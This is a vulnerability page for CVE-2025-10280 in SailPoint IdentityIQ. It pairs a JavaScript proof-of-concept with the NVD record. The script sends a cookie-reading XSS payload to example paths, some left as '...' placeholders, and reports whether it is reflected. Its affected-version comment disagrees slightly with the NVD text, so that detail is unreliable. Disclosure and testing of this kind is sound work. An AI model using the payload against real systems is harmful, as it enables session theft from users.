CVE-2025-10280

// CVE-2025-10280 PoC - IdentityIQ XSS via Content-Type Misconfiguration // Target: SailPoint IdentityIQ < 8.3p5, < 8.4p4, < 8.5 const axios = require('axios'); async function exploitCVE202510280(targetUrl) { console.log('[*] CVE-2025-10280 IdentityIQ XSS Exploit'); console.log(`[*] Target: ${targetUrl}`); // Malicious JavaScript payload for XSS const xssPayload = '<script>alert(document.cookie)</script>'; const encodedPayload = encodeURIComponent(xssPayload); // Known vulnerable endpoint patterns (example paths) const vulnerablePaths = [ '/identityiq/ui/index.html?param=' + encodedPayload, '/identityiq/webservices/.../vulnerable/endpoint?input=' + encodedPayload, '/identityiq/iiq/.../path/that/sets/html/content/type?data=' + encodedPayload ]; for (const path of vulnerablePaths) { try { console.log(`[*] Testing path: ${path}`); const response = await axios.get(targetUrl + path, { headers: { 'User-Agent': 'Mozilla/5.0 (compatible; CVE-2025-10280-Test)', 'Accept': 'text/html,application/xhtml+xml' }, timeout: 10000 }); // Check if Content-Type is incorrectly set to HTML const contentType = response.headers['content-type']; console.log(`[*] Content-Type: ${contentType}`); if (contentType && contentType.includes('text/html')) { console.log('[+] Potential vulnerability detected!'); console.log(`[+] Content-Type is text/html for non-HTML endpoint`); // Check if payload appears in response if (response.data.includes(xssPayload)) { console.log('[+] XSS payload reflected in response'); console.log('[+] Vulnerability confirmed!'); return true; } } } catch (error) { console.log(`[-] Error testing path: ${error.message}`); } } console.log('[*] Exploit completed'); return false; } // Example usage // exploitCVE202510280('https://vulnerable-identityiq-server.com');

{"cve": {"id": "CVE-2025-10280", "sourceIdentifier": "[email protected]", "published": "2025-11-03T17:15:32.527", "lastModified": "2025-11-12T14:49:56.593", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IdentityIQ\n8.5, IdentityIQ 8.4 and all 8.4 patch levels prior to 8.4p4, IdentityIQ 8.3 and\nall 8.3 patch levels including 8.3p5, and all prior versions allows some\nIdentityIQ web services that provide non-HTML content to be accessed via a URL\npath that will set the Content-Type to HTML allowing a requesting browser to\ninterpret content not properly escaped to prevent Cross-Site Scripting (XSS)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sailpoint:identityiq:*:*:*:*:*:*:*:*", "versionEndExcluding": "8.3", "matchCriteriaId": "B7992F80-093D-4277-9AA8-5438ABFBF83B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sailpoint:identityiq:8.3:-:*:*:*:*:*:*", "matchCriteriaId": "1173CC53-CBE5-450C-96BF-8583D1B3D185"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sailpoint:identityiq:8.3:patch1:*:*:*:*:*:*", "matchCriteriaId": "2C0F5E55-5D33-425F-9DA7-49FE66CD84C4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sailpoint:identityiq:8.3:patch2:*:*:*:*:*:*", "matchCriteriaId": "1A2FD228-E6DB-49E3-BE3E-1BF9B0434FC0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sailpoint:identityiq:8.3:patch4:*:*:*:*:*:*", "matchCriteriaId": "0652D99D-DC1E-4E22-8E7D-AE080494C50B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sailpoint:identityiq:8.3:patch5:*:*:*:*:*:*", "matchCriteriaId": "D7964011-B0F1-4F07-8C14-6EEA0B421F80"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sailpoint:identityiq:8.4:-:*:*:*:*:*:*", "matchCriteriaId": "4BC4F08D-A3FB-41F6-8EFD-6F34FBC0F75F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sailpoint:identityiq:8.4:patch1:*:*:*:*:*:*", "matchCriteriaId": "4ECFADA6-BB7B-4228-9434-B92B2FF21481"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sailpoint:identityiq:8.4:patch2:*:*:*:*:*:*", "matchCriteriaId": "A39B1317-37C0-49DA-9207-7B7CBE6EC190"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sailpoint:identityiq:8.5:-:*:*:*:*:*:*", "matchCriteriaId": "01FF7480-9CBA-4283-994C-B2586C2F5F54"}]}]}], "references": [{"url": "https://www.sailpoint.com/security-advisories/sailpoint-identityiq-incorrect-content-type-cross-site-scripting-vulnerability-cve-2025-10280", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}